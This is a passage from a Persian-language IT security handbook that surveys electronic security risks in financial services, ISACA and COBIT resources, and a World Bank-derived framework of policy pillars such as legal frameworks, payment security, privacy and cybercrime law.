در جهان  . تي خود را به منابع خارج از سازمان واگذار كنند         امني
كنند كه سپردن خـدمات     صنعتي بعضي كارشناسان اظهار مي    

غير كليدي مثل تأمين امنيت فناوري اطلاعات به منابع خارج          
از سازمان حداقل تا ده سال آينده براي شركتها همچنان يك           

انها علاقـة   علاوه بر ايـن بعـضي سـازم       . استراتژي خواهد بود  
خاصي به تأمين نيازهاي امنيتي جهاني بويژه نيازهاي امنيتي         

كنتـرل و   بعنوان مثال انجمن    . كشورهاي درحال توسعه دارند   
 كشور همكار   ۶۰ در   ١٥)ISACA (مميزي سيستمهاي اطلاعات  

هاي مختلفي از كشورهاي متفـاوت      تجاري دارد و متن برنامه    
 همچنــين يــك ISACA ١٦.كنــد را بــصورت آزاد ارائــه مــي

كنـد و   چارچوب كنترل و رسيدگي براي سازمانها پيشنهاد مي       
ــابع خــارجي فهرســتهاي كنتــرل ارائــه   بــراي اســتفاده از من

  .نمايد مي

اين سيستمها چه در داخل سازمان تهيه شوند و چه خـارج از             
آن، بــاز هــم توســعه و پــشتيباني از زيرســاختها، سياســتها، و 

كتها چيزي جز برقراري تـوازن  روالهاي امنيتي براي غالب شر 
مقامـات اجرايـي، مـديران، و     . هـا نخواهـد بـود     ميان ضـابطه  

سياستگذاران بايد به مخـاطرات اهميـت دهنـد و بـا تعريـف              
اهداف رسمي و رشد حداقل سازمان، براي ايجاد توازن ميـان           

. گذاري روي امنيت، يك معيار و استاندارد تعيين كنند        سرمايه
 مطلوبي از امنيت رسيد، مديريت نبايـد  وقتي سازمان به سطح   

اهميت به روز نگهداشتن سيستمها و مميزيهاي مـنظم طـرح           
تغييرات رايانه و تجهيزات شبكه، مثلاً      . امنيتي را فراموش كند   

 منحـصر اسـت،     ١٧بازمتن افزاريهاي نرم بستهاز نوعي كه به     
بطور خلاصـه   . به بررسي كامل طرح تفصيلي امنيت نياز دارد       

وان گفت كه امنيت بيش از آنكه يك علم باشد يك هنر            تمي
است و براي تضمين تأثيرگـذاري موفـق آن در سـازمانها بـه       

                                                                  
15  Information System Audit and Control 

Association (ISACA) 
هاي آيندة اين انجمن به پايگـاه آن در آدرس          براي آگاهي از برنامه     ۱۶

  :زير مراجعه كنيد
http://www.isaca.org 
اين مطالعه باعث شد كشور اروگوئه يك كشور مـورد علاقـه بـراي              

  ):۱(مطالعة خوانندگان اين كتاب شود 
http://www.isaca.org/ct_case.htm 

COBIT )http://www.isaca.org/cobit.htm(    يك بستر براي
منابع مناسـب امنيـت الكترونيـك جهـت اسـتفاده بـراي مـديران،               
كاربران، مميزي امنيت اطلاعات، كنترل، و متخصصين امنيت ارائـه   

بـه شـما ديـد خـوبي از        ISACAبرقـراري تمـاس بـا       . كرده است 
  .دهدتهاي فعلي و آتي انجمن ميفعالي

17  Open Source Software Packages 
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همفكري و هماهنگي تعداد زيادي از متفكران خـلاق جامعـه       
  ١٨.باشدنياز مي

  

                                                                  
بــدليل افــزايش رخــدادهاي امنيتــي در سراســر جهــان، تعــدادي از   ۱۸

شركتهاي مشاوره گزارشاتي در مورد فنـاوري اطلاعـات و تـأثيرات            
توانيد به منبـع زيـر مراجعـه     براي مثال مي  . اندجهاني آن تهيه كرده   

  :كنيد
Ernst & Young's 2003 Global Information 
Security Survey: 
http://www.ey.com/global/download.nsf/US/TS
RSGlobal_Information_Security_Survey_2003
/$file/TSRS_-
_Global_Information_Security_Survey_2003.p
df 
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  فصل دوم
مروري بر روشهاي كاهش آثار 

  ١٩مخاطرات امنيت الكترونيكي

  كليات
ايي، تعريف، و بحث در مورد يـك        اين فصل از كتاب به شناس     

ــز يــك    ــي و ني ــاي هــشت ركن ــتها و رواله ــه سياس مجموع
زيرساخت كلي جهت تقويت محيط امـن الكترونيكـي بـراي           

اين بخش براي سياستگذاراني    . پردازدبخش خدمات مالي مي   
 بـويژه دوايـر اجرايـي،       -دهنـدگان خـدمات مـالي       كه با ارائه  

كننـد   كار مي  -شد امنيت   مديران ارشد اطلاعات، و مديران ار     
نكـات فنـي ايـن بخـش بـراي كـسانيكه            . تهيه شـده اسـت    

كننـد، بازرسـين     سيستمهاي امنيت الكترونيكي را راهبري مي     
كننـد، و   بانكها كه كارآيي امنيت الكترونيكـي را ارزيـابي مـي          

كسانيكه با مخاطرات ذاتي و روزمرة تراكنشهاي الكترونيكـي         
  .آيدميسر و كار دارند بسيار بكار 

  امنيت در خدمات مالي الكترونيكي
اي در چند مقالـة جديـد، امنيـت الكترونيكـي بعنـوان مـسئله             

 بـراي   ٢٠خدمات مـالي الكترونيكـي    حياتي در توانمند ساختن     
پاسخگويي به انتظـارات سـازمان و مـشتريان و ارائـه منـافع              

 امنيت الكترونيكي با قلـب اقتـصاد       ٢١.فناوري معرفي شده بود   

                                                                  
ــا كمــك يــك گــزارش كــه بوســيلة      ۱۹  Thomasايــن فــصل ب

Glaessner ،Tom Kellerman و ،Valerie McNevin 
  : براي بانك جهاني تهيه شد به نگارش در آمده است۲۰۰۲در سال 

"Electronic Security: Risk Mitigation in 
Financial Transactions.": 
http://wbln0018.worldbank.org/html/FinancialS
ectorWeb.nsf/SearchGeneral?openform&E-
Security/E-Finance&Publications 

20  E-Finance 
و  Glaessner  ،Kellermanبراي اطلاعات بيشتر، فعاليتهـاي         ۲۱

McNevin از جمله كتاب زير را ببينيد:  
"Electronic Safety and Soundness: Securing 
Finance in a Digital Age, Public Policy Issues" 
(October 2003) 

تماس است؛ چراكه منـافع بـالقوة بازارهـاي جهـانيِ     جديد در   
المللي بسيار حائز اهميت هستند و استفادة بهينه از         جوامع بين 

شود مگـر بـا تـأمين امنيـت در محـيط             اين بازارها ميسر نمي   
به هر ترتيب، روند حركت اقتصاد جهـاني بحـث          . الكترونيكي

 چگونه  :طلبدعميقي دربارة تجارت و سياستگذاري نوين را مي       
 را تعريـف و از آن محفاظـت كـرد؟،           ٢٢حـريم خـصوصي   بايد  

اطمينان و اعتماد در يك محيط ديجيتال چه معنا و مفهـومي            
توان سطح مناسـبي از امنيـت را مـشخص          دارند؟، چگونه مي  

گـذاريهاي امنيتـي، چگونـه      كرد؟، و نهايتاً اينكه براي سرمايه     
  گيري نمود؟ را اندازه٢٣)ROI (بازگشت سرمايهبايد شاخصِ 

تنهـا بـه   به علت ماهيت همواره متغيرِ فناوري، اين كتـاب نـه        
پردازد، بلكه براي بعـضي از      جزئيات تمام اين موضوعات نمي    
در عـوض بـه مـروري       . كندآنها پاسخهاي كلي هم ارائه نمي     

ســريع بــر آنچــه تــا امــروز در دنيــاي امنيــت اتفــاق افتــاده، 
كي درحال بوجود آمدن    شكافهايي كه در حوزة امنيت الكتروني     

هستند، و ارائه بعضي راهكارهاي ممكن براي كم كردن ايـن           
پردازد، و همچنين به بعضي فعاليتها كه در سراسر         شكافها مي 

  .كندشوند اشاره ميجهان براي رفع اين نگرانيها انجام مي

  امنيت الكترونيكي چيست؟
ن، يـا   بطور كلي امنيت الكترونيكي عبارت است از هر ابزار، ف         

هـاي اطلاعـاتي يـك      فرآيندي كه براي حفاظـت از سـرمايه       
امنيت الكترونيكـي ارزش    . گيردسيستم مورد استفاده قرار مي    

كنـد و از زيرسـاختهاي نـرم و سـخت           يك شبكه را زياد مـي     
زيرسـاختهاي نـرم عبارتنـد از سياسـتها،         . تشكيل شده اسـت   

ستفاده قرار  فرآيندها، پروتكلها و راهبردهايي كه از مورد سوء ا        
زيرسـاختهاي  . كننـد هـا جلـوگيري مـي     گرفتن سيستم و داده   

افزار مـورد نيـاز بـراي       افزار و سخت  سخت نيز متشكل از نرم    

                                                                  
ال اخير انجام شده و بـه  اين رساله اوج تلاشهايي است كه در سه س    

چنـد مقالـة ديگـر از ايـن دسـته           . ارائه چند مقاله منجر شده اسـت      
  :مقالات عبارتند از

“Electronic Security: Risk Mitigation in 
Financial Transactions” (May 2002, June 
2002, July 2002), 
“Electronic Finance: A New Approach to 
Financial Sector Development?” (2002), 
“Mobile Risk Management: E-Finance in the 
Wireless Environment” (May 2002) 

  :كه همگي در  آدرس زير قابل دسترسي هستند
http://www.worldbank1.org/finance 

22  Privacy 
23  Return on Investment 
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ها در مقابل تهديدات امنيتي داخلـي       حفاظت از سيستم و داده    
بايد توجه داشت كه سطح امنيـت       . باشدو خارجي سازمان مي   

با ارزش آن فعاليت باشد؛     الكترونيكي هر فعاليت بايد متناسب      
بنــابراين امنيــت بــراي تراكنــشها و معــاملات مهــم بايــد در 

  .سطحي بالاتر از تراكنشها و معاملات عادي تأمين شود

از آنجا كه يك فناوري جديد مخاطرات جديدي نيز         
تــر آورد و فناوريهــا هــر روز گــستردهبوجــود مــي

شوند، لذا امنيـت الكترونيكـي شايـستة توجـه           مي
  .تري استبيش

خدمات مالي الكترونيكي عبارت است از بكـار بـردن وسـايل            
الكترونيكي بـراي تبـادل اطلاعـات، انتقـال علائـم و اسـناد              

خـدمات  . اعتباري، و انجام داد و ستد در يك محـيط تجـاري           
  :شوداي تشكيل ميمالي الكترونيكي از چهار جزء پايه

 ؛٢٤)EFTs (هاي الكترونيكيهاي سرمايهدهنده انتقال •
 ؛٢٥)EDI (هاي الكترونيكيتبادل داده •
 ؛ و٢٦)EBTs (انتقال منافع الكترونيكي •
  .٢٧)ETCs (تصديق تجارت الكترونيكي •

اگرچه خدمات مالي الكترونيكي يـك فرصـت بـزرگ جهـت            
آورد، گسترش تجارت براي بازارهاي درحال توسعه بوجود مي       

مات تمام چهار جزء خد   . اما چند مخاطرة جدي نيز بدنبال دارد      
مالي الكترونيكي مـستعد كلاهبـرداري، سـرقت، اخـتلاس، و        

بيشتر جـرائم تجـاري كـه در اينترنـت رخ           . دستكاري هستند 
 كلاهبرداري، سـرقت، جعـل      -دهند تازگي چنداني ندارند      مي

هويت، و اخاذي سالهاست كه صنايع خدمات مالي را به ستوه           
   باعـث    اما بـا اينهمـه، پيـشرفت فنـاوري همـواره           -اند  آورده

توانـد  گـردد و ايـن مـسئله مـي        بوجود آمدن ابعاد جديدي مي    
شـود  فناوري باعث مي  . تر كند عمق و دامنة جرائم را گسترده     

جنايتهاي بسيار گسترده و پيچيده بتوانند بسرعت و بـصورت           
 كارت اعتبـاري    ۵۰,۰۰۰در گذشته سرقت    . گمنام انجام شوند  

ها يا حتي سالها زمـان      براي جنايتكاران بسيار سازمانيافته ماه    
برد؛ اما امروز يك مجرم با استفاده از ابزارهاي رايگـان در            مي

هـاي هويـت،   تواند با نفوذ بـه پايگـاه داده    پايگاههاي وب مي  
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همان تعداد كارت اعتباري را در تنها چنـد ثانيـه بـه سـرقت               
  .ببرد

از % ۵۷شـود كـه     بر اساس بررسيهاي اخير تخمـين زده مـي        
الات متحده در سال گذشته از بخشهاي مـالي  حملات نفوذ اي  

بسياري از تخلفات نظير يـك مـورد جـدي        . شروع شده بودند  
داري آمريكـا رخ داد ناشـي از اشـتباه در           كه در وزارت خزانـه    

ســازي رونــدهاي ارزيــابي مخــاطره و بكــارگيري     پيــاده
افزارهـاي تجـاري آمـاده بـدون اسـتفاده از رويكردهـاي              نرم

ــي  ــة امنيت ــان،  -چندلاي ــتهاي كاركن ــون سياس ــواردي چ  م
روزرساني مـنظم ابـزار فنـي مـورد          راهبردهاي ارتباطات، و به   

.  بودنـد - ٢٩هـاي آتـش  ديـواره  و ٢٨يابهاويروساستفاده مانند   
ها نيز راه پيدا    نتايج اين نفوذهاي امنيتي كه اخبار آن به رسانه        

كرد طيفي شد كه يكسوي آن از دست دادن شهرت و اعتبـار             
 سوي ديگر آن تغيير رفتار نهان مشتريان در مقابله بـا            مالي و 

داد و ستد الكترونيكي بود؛ و اين همه دليلي نداشت جز عـدم             
هـاي تجـارت و خـدمات مـالي         اعتماد مـشتريان بـه واسـطه      

  .الكترونيكي

اي، براي ايجاد ثروت و همچنين انجام سرقت و         اقتصاد شبكه 
در بررسي مزايـا و     . كندتخريب، فرصتهاي متفاوتي ايجاد مي    

معايب اين فرآيند، سياستگذاران و تصميمگيران بايـد آگـاهي          
  خود را در مـورد نقـشي كـه امنيـت الكترونيكـي در تـضمين               

كنـد افـزايش    داد و ستدهاي قابل اطمينان تجاري بازي مـي        
  .دهند

ــد و      ــال رش ــي درح ــت الكترونيك ــنعت امني ص
شدن است؛ لذا چالشهاي سياست عمـومي        جهاني

هاي سياست رقابتي، تعارضهاي بـالقوة       حوزه را در 
  .دهدمنافع و همچنين اعطاي گواهي نشان مي

دهنــدة خــدمات امنيــت در گذشــتة نزديــك شــركتهاي ارائــه
دسترسـي،  : كردنـد الكترونيكي عموماً در سه حوزه فعاليت مي      

علاوه بـر اينهـا، صـنعت امـروزي شـامل           . استفاده، و ارزيابي  
 ديگـر نيـز در ايـن زمينـه ارائـه            شركتهايي است كه خدماتي   

كننــد؛ خــدماتي از قبيــل نظــارت و غربــال كــردن داده،  مــي
هاي آتـش، آزمونهـاي نفوذپـذيري بـراي         يابي، ديواره  مهاجم

افزارهـا،  افزارهـا و سـخت     پـذيري نـرم   بررسي ميـزان آسـيب    
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افزارهـاي رمزگـذاري، خـدمات تـصديق هويـت بوسـيلة             نرم
 يـا معيارهـاي زيـستي؛ كـه         رمزهاي عبور، نشانها، كليـدها و     

هــا را تــصديق همگــي هويــت گروههــا يــا يكپــارچگي داده
  .كنند مي

بسياري از فروشندگان علاوه بر امنيت الكترونيكي حجم قابل     
كننـدگان خـدمات مـالي    مابين عرضـه توجهي از ارتباطات في  

ايـن  . كننـد الكترونيكي در كشورهاي مختلف را نيز برقرار مي       
دهنـدگان   هـا و ارائـه  ISP، ٣٠اي ميزبانشركتهشركتها شامل  

شركتهاي مخابرات در بازارهـاي جديـد       . خدمات مالي هستند  
مـوج،  كننـدگان كليـدي خـدمات كوتـاه        معمولاً بعنـوان ارائـه    

اين شركتها ممكن اسـت     . ماهواره و تلفن همراه فعاليت دارند     
خدمات ميزباني، خدمات انتقال پول و در بعضي موارد خدمات          

  .منيت الكترونيكي را نيز فراهم كنندزيربنايي ا

مالكيت صنايع امنيت الكترونيكي و امـور مـالي الكترونيكـي           
اي دربـارة سياسـت رقـابتي و        باعث طـرح سـؤالات پيچيـده      

در مـورد   . شـوند كشمكشهاي بالقوه براي كـسب منـافع مـي        
آيــا نقــشهاي چندگانــة : تــوان پرســيدسياســت رقــابتي مــي

 به جلوگيري از رقابـت بـويژه در         تواندشركتهاي مخابراتي مي  
 كه معمولاً براي ارائـه ايـن خـدمات،          -بازارهاي درحال رشد    

 منجر شود؟ و يا اينكه      -متخصصين فني در اختيار خود دارند       
شـده و سياسـتهاي شـركت دربـارة         يكپارچگي خـدمات ارائـه    

گــزارش دقيــق و فــوري نفوذهــاي امنيتــي چگونــه تــضمين 
ند واگذاري امـور بـه يـك شـركت          شود؟ علاوه بر اين، رو     مي

ثالث، اهميت اصلاح حوزة مسئوليتها از رأس هرم مـسئوليت          
اي از فروشـندگان را     در صنعتي بـا چنـين مجموعـة پيچيـده         

معمولاً در قراردادهاي ميان مؤسسات مـالي و        . كندروشن مي 
دهندگان خدمات بـه آنهـا از قـسمتي از هزينـة قـرارداد              ارائه

شود، ولي حتـي بـا    كارآيي استفاده مي  خدمات بعنوان ضمانت    
اين وجود هم از ديـدگاه امنيتـي بـه مـسئله كـارآييِ فعاليـت          

  .شده به اندازة كافي پرداخته نشده استانجام

در مقررات امنيت الكترونيكيِ صنعت خدمات مالي،       
در . منافع عمومي بايد مورد توجه قرار گرفته باشد       

وصي و  امنيت الكترونيكي بايـد ميـان حـريم خـص         
مسائلي نظير هزينه، كيفيت خدمات، و نوآوري بـه         
يك توازن معقـول رسـيد و در تـدوين ضـوابط و             
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سياستها نيز بايد توجـه خاصـي بـه ايـن تـوازن             
  .داشت

صنعت مخابرات بطور سنتي لازمة رفـاه، آسـايش و سـلامت            
آمد و از اينرو يك جـزء اصـلي ضـوابط           عمومي به حساب مي   

امـا درحـال    . ور دسترسي عموم بود   آن، توسعة خدمات به منظ    
حاضـر در بـسياري از كـشورها دسترسـي بـه خـدمات اوليــة       

  .آيدالكترونيكي نيز يك ضرورت براي زندگي به حساب مي

از لحاظ تاريخي، صنعت خدمات مالي بر اسـاس ايـن منطـق           
مند شده كه در نقـل و انتقـالات مـنظم كـالا و پـول،                 ضابطه

ن ميزان اهميت برخوردار اسـت؛ و       اعتماد و اطمينان از بالاتري    
با توجه به اينكه مؤسسات مالي نيازمند اعتماد مردم هـستند،           

بـا  . بايد فعاليت خود را سالم، منطقي، و محتاطانه پيش ببرنـد          
شـدن صـنعت مخـابرات و بخـش خـدمات مـالي بـه               نزديك

يكديگر از طريق اينترنت، اهميت و ضرورت ايجـاد سياسـت           
شود تا تضمين  نه روز به روز بيشتر مي     عمومي و مقررات آگاها   

تواننـد اسـتفادة    كند كه دولت، شركتهاي تجاري و مردم مـي        
  .خود از خدمات ايمن مالي را ادامه دهند

در تهيــة سياســتهاي عمــومي بــه منظــور ايجــاد يــا اصــلاح 
معيارهاي امنيت الكترونيكي بايد به هشت ركـن مهـم توجـه      

  :داشت

 مناسب؛يك چارچوب قانوني و اجرايي  •
ــت    • ــضمين امني ــراي ت ــديريتي ب ــي و م ــدات فن تمهي

 الكترونيكي سيستمهاي پرداخت؛
هاي بهتـر   نظارت قوي و پيشگيري؛ براي ايجاد انگيزه       •

شـدة  بنـدي  سازي سيستمهاي مناسـب و لايـه      در پياده 
ــراي   مــديريت خطــر؛ از جملــه امنيــت الكترونيكــي ب

 دهندگان خدمات مالي؛ ارائه
هاي خصوصيِ بيمـه بتواننـد      چارچوبي كه در آن شركت     •

خود را در مقابل مخاطرات الكترونيكي بيمه كنند و در          
كنار آن استانداردهاي اين حوزه را بـا ايجـاد تعهـدات            

 مالي بازپرداختها ارتقا دهند؛
 امضاهاي ديجيتالي؛ •
 گذاري اطلاعات؛اشتراكبه •
آموزش شهروندان، كاركنان، و مديريت دربارة مـسائل         •

 امنيتي؛ و
 .بندي شدهاختار امنيتي لايهيك س •
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  :ركن اول
  چارچوب قانوني و اجرايي

كشورهايي كه در آنها بانكداري الكترونيكي يا سـاير خـدمات           
انجـام  ) مثـل توزيـع و داد و سـتد اوراق بهـادار    (مـالي الكترونيكـي   

شود همزمان با توسـعة قـوانين، سياسـتها و روشـها، بايـد           مي
. نيز مورد توجـه قـرار دهنـد       مسائل امنيت الكترونيكي خود را      

آنها بايد امنيت را براي حفاظت از عمليات الكترونيكي تـأمين           
كنند و قوانين جنايي را براي در بر گـرفتن ايـن نـوع جـرائم                

  .اصلاح نمايند

در فرآيند تدوين سياست و چـارچوب قـانوني بـراي خـدمات             
  :مالي الكترونيكي بايد به موضوعات زير توجه داشت

 كترونيكي و تجارت الكترونيكي؛معاملات ال •
 امنيت سيستمهاي پرداخت؛ •
 حريم خصوصي؛ •
 جرائم سايبر؛ •
 مقابله با شستشوي پول؛ و •
 .زيرساخت اجرايي •

اين شش حوزة سياست، قانون و اجرا در كنار هم بايد روابـط             
ابتدايي ميان تمـامي ذينفعـان و سـپس تراكنـشهايي كـه در              

يكي .  نظر قرار دهند   يابد را مد  سيستمهاي پرداخت جريان مي   
از مهمترين اجزاي يك چارچوب قانوني مناسب براي خدمات         
ــالي الكترونيكــي شناســايي اعتبــار قــانوني امــضاهاي       م

. باشـد الكترونيكي، تراكنشها، و همچنين سوابق مشتريان مي      
حلهـاي فنـي را تـرجيح دهـد، بـراي           چارچوب قانوني بايد راه   

كي حفاظت بوجـود آورد،     مشتريان در انجام معاملات الكتروني    
  .و قابليت فعاليت داخلي را ارتقا بخشد

  معاملات الكترونيكي

قانون معاملات الكترونيكي بايد عنوان كند كه منظور از يـك           
امضا، سابقه يا تراكنش الكترونيكي چيست و با اينكار اعتبـار           

اين سياستها خـصوصاً در     . قانوني هر عنصر را مشخص نمايد     
تعاريف تـا   . ترونيكي بايد بسيار دقيق باشند    تعريف امضاي الك  

حلهـاي   حد امكان بايد خصوصيات فني داشـته باشـند تـا راه           
  .مختلف بتوانند وارد بازار شوند

  امنيت سيستمهاي پرداخت

در تهية سياست براي امنيت سيستمهاي پرداخت بايـد تمـام           
اجزايي كه مستقيماً روي سيستم تأثيرگذار هستند را مد نظـر           

همة اين اجزا بايد بصورت امن كار كنند تا بتواننـد از   . دادقرار  
بعلاوه . يكپارچگي و قابليت اطمينان سيستمها حفاظت نمايند      

شود در تمامي خـسارات     وجود سياست در اين زمينه باعث مي      
مالي الكترونيكي و حملات و ضايعات بتوان گزارشات دقيق و      

ي بـه ايـن   صرف وجـود سياسـت امنيت ـ   . ارزشمندي تهيه كرد  
كننـدگان آن در    معني است كه احتمالاً مؤسـسة مـالي و اداره         

  .اندمقابل مخاطرات، تدابير لازم را انديشيده

  حريم خصوصي

ها، حفاظـت   قانون حريم خصوصي بايد حفاظت و كاربرد داده       
كننده و ساير نيازهاي مرتبط تجاري را در بر بگيـرد           از مصرف 

گيري اطلاعـات را اعـلام      و سياستهاي سازمان در مورد بكـار      
اتحادية اروپايي همچنان در حفاظت از حريم خـصوصي         . كند

مـصوب سـال   (ها شهروندانش طبق دستورالعمل حفاظت از داده 
در حالت حداقلي، قانون حريم خـصوصي       . پيشتاز است ) ۱۹۹۵

شـامل توجـه، انتخـاب،      (بايد اصول استفادة عادلانه از اطلاعـات        
  .را شامل شود) لازم براي تكميل معاملهدسترسي و حداقل اطلاعات 

  ٣١جرائم سايبر

هر كشور بايد در مورد سوء استفاده از شبكه و رايانه كه منجر             
به وارد آمدن خـسارتهاي جـدي بـه خـود شـبكه و رايانـه و                 

قـانون  . شود قوانيني داشـته باشـد     بسياري آسيبهاي ديگر مي   
گـرد و نيـز   همچنين بايد ابزار و منابع لازم براي تحقيـق و پي         

اي نمونـه . مجازات مرتكبين جرائم سايبر را تعيين كرده باشـد    
معاهدة جرائم  توان در   از چنين قوانين و دستورالعملهايي را مي      

 پيدا كرد كه در فصل چهـارم بـه تفـصيل در             ٣٢اينترنتي اروپا 
  ٣٣.مورد آن بحث شده است

  مقابله با شستشوي پول

ي پول را تعريف كنند     سياستها بايد روشهاي مقابله با شستشو     
المللــي را بــه همكــاري در بازرســي، پيگــرد و و جوامــع بــين

                                                                  
31  Cyber Crime 
32  Europe’s Convention on Cyber Crime  

  :انجمن جرائم سايبر شوراي اروپا   ۳۳
http://conventions.coe.int 
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مجازات چنين جرائمي تشويق نمايند تا خطر تهديدات موجود         
از جانب شستشوي پول كه به فناوريهاي جديـد نيـز سـرايت             

  .كرده را كاهش دهند

  اجراي قانون

نيكـي  شايد بتوان گفت كه نياز به اجراي قوانين امنيت الكترو         
در مرزهاي يك كشور به اندازة وجود چارچوب قـانوني آن از             

اي، مبدأ بسياري از انواع حملات رايانه     . اهميت برخوردار است  
اند كه نظام قانوني و اجرايـي ضـعيفي بـراي           كشورهايي بوده 

انـد و همـين امـر ضـرورت وجـود           امنيت الكترونيكي داشـته   
ا بـيش از پـيش      المللـي ر  راهكارهايي براي همكاريهاي بـين    

  .كندنمايان مي

  :ركن دوم
  امنيت الكترونيكي در سيستمهاي پرداخت

سيستمهاي پرداخت جزء مهمي از هر سيستم مالي محـسوب          
سياستهايي كه براي كاهش مخاطرات سيـستمهاي       . شوندمي

اي بـراي پـنج مـورد زيـر         شوند بايد بگونه  پرداخت تدوين مي  
  :حلي ارائه دهند راه

  دهندگان پول؛تعريف انتقال .۱
 دهي؛الزامات گزارش .۲
 ضوابط؛ .۳
 ها، جبران خسارات، و مسئوليتها؛ وضمانتنامه .۴
 .دهندگان خدماتنيازهاي امنيتي ارائه .۵

  دهندة پولتعريف انتقال

دهندة پول عبارت است از هر سـازمان تجـاري كـه در             انتقال
. باشد زمينة انتقال و تبادل ارز و لوازم پولي مشغول فعاليت مي        

مشغول هستند  " تجارت خدمات پولي  "ولاً اين سازمانها به     معم
ــوان  ــث و بعن ــسويه خودكــار شــخص ثال ــاتر ت  فعاليــت ٣٤دف

 در بررسي امنيـت سيـستم پرداخـت الكترونيكـي،           ٣٥.كنند مي
قانونگذاران بايد بدانند كه الگويي جديد براي جنبش پولي در          

حجـم  .  بوجود آمده است   فناوري اطلاعات محيطهاي پيچيدة   
بل توجه پولي كه بجـاي داخـل بانكهـا در اطـراف بانكهـا               قا
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اين خدمات ممكن است درخواستهاي دريافت و انتقال پول، تبـديل              ۳۵
  .سرمايه، و ساير موارد مشابه را نيز در بر بگيرد

ــاني،    ــستم پرداخــت جه ــر سي ــسزايي ب ــأثير ب ــان دارد ت جري
  .بينيهاي اقتصادي داردسياستهاي پولي، و پيش

  دهيالزامات گزارش

ناتواني در تهية گزارش از وقايع امنيتي بويژه در حوزة خدمات           
يريهاي لازم  مالي براي كسانيكه بدون انجام بررسي و پيـشگ        

كنند، احتمال تداوم بيـشتر     از سيستمهاي پرداخت استفاده مي    
فعاليتهاي نامطمئن و نادرست و درنتيجه وارد آمدن خـسارات          

توند ايـن باشـد كـه       يك راهكار مي  . دهدبيشتر را افزايش مي   
وظيفة تهية گزارش از وقايع بر عهدة مأموران اجرايي گـذارده        

  ٣٦.شود

  پيشگامان قانونگذاري

قانونگذاران بايد به چگونگيِ گسترشِ نظارت و اجراي قـانون          
اولـين دليلـي كـه      . براي وسايلِ انتقالِ الكترونيكي توجه كنند     

بيشترِ مردم براي عدم استفاده از وسايل انتقال الكترونيكي از          
نبـودن حفاظـت كـافي بـراي     برند هراس از تـأمين آن نام مي 

باعـث افـزايش    توانـد   حفاظـت صـحيح مـي     . اطلاعات است 
كننده و تقويت نظـم بـازار شـود و درنتيجـه            اطمينان مصرف 

زمينه را براي استفادة بيشتر از سيستمهاي مالي الكترونيكـي          
  .فراهم سازد

  هاي جبران خساراتضمانتنامه

تواننـد خـدمات بعـد از فـروش و جبـران            مؤسسات مالي مـي   
ار افـز افزار و سـخت   خسارت را براي شركتهاي تجاري كه نرم      

توانند شركتها را بـه     همچنين مي . كنند الزامي نمايند  توليد مي 
عرضة محصولاتي ملزم كنند كه در مقابل آسيبهاي احتمـالي          

افـزاري مقـاوم    افزاري و نـرم   هاي امنيتي سخت  ناشي از رخنه  
سازمانهايي كه چنين خدمات يـا محـصولاتي را بـراي     . باشند

داردهاي حفـاظتي   كنند، اسـتان  صنعت خدمات مالي فراهم مي    
دهنـد و خـود را ملـزم        تري را مورد استفاده قرار مي     مستحكم

دانند ذكر نمايند كه محصولـشان بـراي اسـتفاده در يـك             مي
يكـي از   . بخش خاص پيكربندي نشده و يـا مناسـب نيـست          

 يادداشـت حلها براي اين همة ايـن مـوارد قـراردادن يـك              راه
اسـت كـه اظهـار      افـزار   افزار يا سخت   بر نرم  ٣٧سلب مسؤليت 

                                                                  
  خصوصاً مديران ارشد اطلاعات و مديران امنيت اطلاعات   ۳۶

37   Disclaimer Note 

https://telegram.me/karnil
www.karnil.com


 

 

 راهنماي امنيت فناوري اطلاعات ١٣٢

دارد اين محصول براي ايجاد، انتقال يا ذخيـرة اطلاعـات            مي
غيرمجـــاز، حـــساس يـــا محرمانـــه نبايـــد بكـــار رود و در 
غيراينصورت هيچ مسئوليتي متوجـه پديدآورنـدة آن نخواهـد          

  .بود

  دهندگان خدماتاستانداردهايي براي ارائه

نسبت توانند  دهندگان خدمات به صنعت خدمات مالي مي      ارائه
كنندگان خـدماتي كـه مـستقيماً بـا ايـن صـنعت در              به تأمين 

بـار  . تري اسـتفاده كننـد    ارتباط نيستند، از استاندارد مستحكم    
شود كه با انجام اينكار هم هنوز راه زيادي تـا           ديگر تأكيد مي  

  .ايجاد اطمينان و اعتماد وجود دارد

  :ركن سوم
  چالشهاي نظارت و پيشگيري

ــس   ــرل سي ــر كنت ــلاوه ب ــر   ع ــارت ب ــت و نظ تمهاي پرداخ
دهندگان پول، ممكن است اصلاح راهبردهاي قـانوني،         انتقال

دهنـدگان  نظارت، و پيـشگيري، بـراي تـضمين امنيـت ارائـه           
اين موضوع بـويژه بـراي شـركتهاي     . خدمات مالي مفيد باشد   

تجاري كه در بانكداري الكترونيكي يا ارائه ساير خدمات مالي          
  .باشدرح مياينترنتي فعال هستند مط

  اينيازهاي سرمايه

 بويژه آنهايي كه بـه      - براي سرمايه    ٣٨باسلراهبردهاي جديد   
 بـه مخـاطرة از دسـت        -شوند  تهديدهاي عملياتي مربوط مي   

پذيريهاي امنيـت   دادن شهرت يا مخاطرات استراتژيك آسيب     
شود كـه    از اينرو اين سؤال مطرح مي     . اندالكترونيكي نپرداخته 

در مورد رخـدادهاي امنيتـي دقيـق نيـست و           وقتي اطلاعات   
شـود سـخت اسـت،       ارزيابي خساراتي كه به شهرت وارد مـي       

گيري مخاطرات عملياتي بانكي چيـست؟ بـا        بهترين راه اندازه  
توجه به مسئله تعيين سـرماية لازم بـراي مخـاطرات امنيـت             

توانـد اسـتفاده از يـك رونـد         الكترونيكي، يك روش مؤثر مي    
اسايي و ترميم نفوذهاي امنيتـيِ الكترونيكـي        ارزيابي براي شن  

هاي بيشتر براي ثبـت گزارشـات چنـين         در كنار ايجاد انگيزه   
دهنـدگان   توانند ارائه   علاوه بر اين مقامات مي     ٣٩.وقايعي باشد 

خدمات مـالي را بـه بيمـه كـردن خـود در بعـضي از جوانـب           
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مخاطرات الكترونيكي كه در چارچوب سياستگذاريهاي موجود      
) مثـل تخريـب سـرويس يـا سـرقت هويـت           (انـد   ر گرفته نشده  درنظ

از آنجـا كـه صـنعت بيمـة بخـش           . ترغيب يـا ملـزم نماينـد      
خصوصي در اين حوزه فعالتر شده، اين روش بـيش از پـيش             

تواند بـه سـلامت عمـومي صـنعت         رسد و مي  عملي بنظر مي  
  ٤٠.بيمه و ساختار آن در بازارهاي درحال رشد منجر شود

  مسئوليت

هـايي را بـراي   توانـد انگيـزه   حقـوقي و قـانوني مـي       چارچوب
افـزار،  هـا، نـرم   دهندگان خدمات برنامه  شركتهاي ميزبان، ارائه  

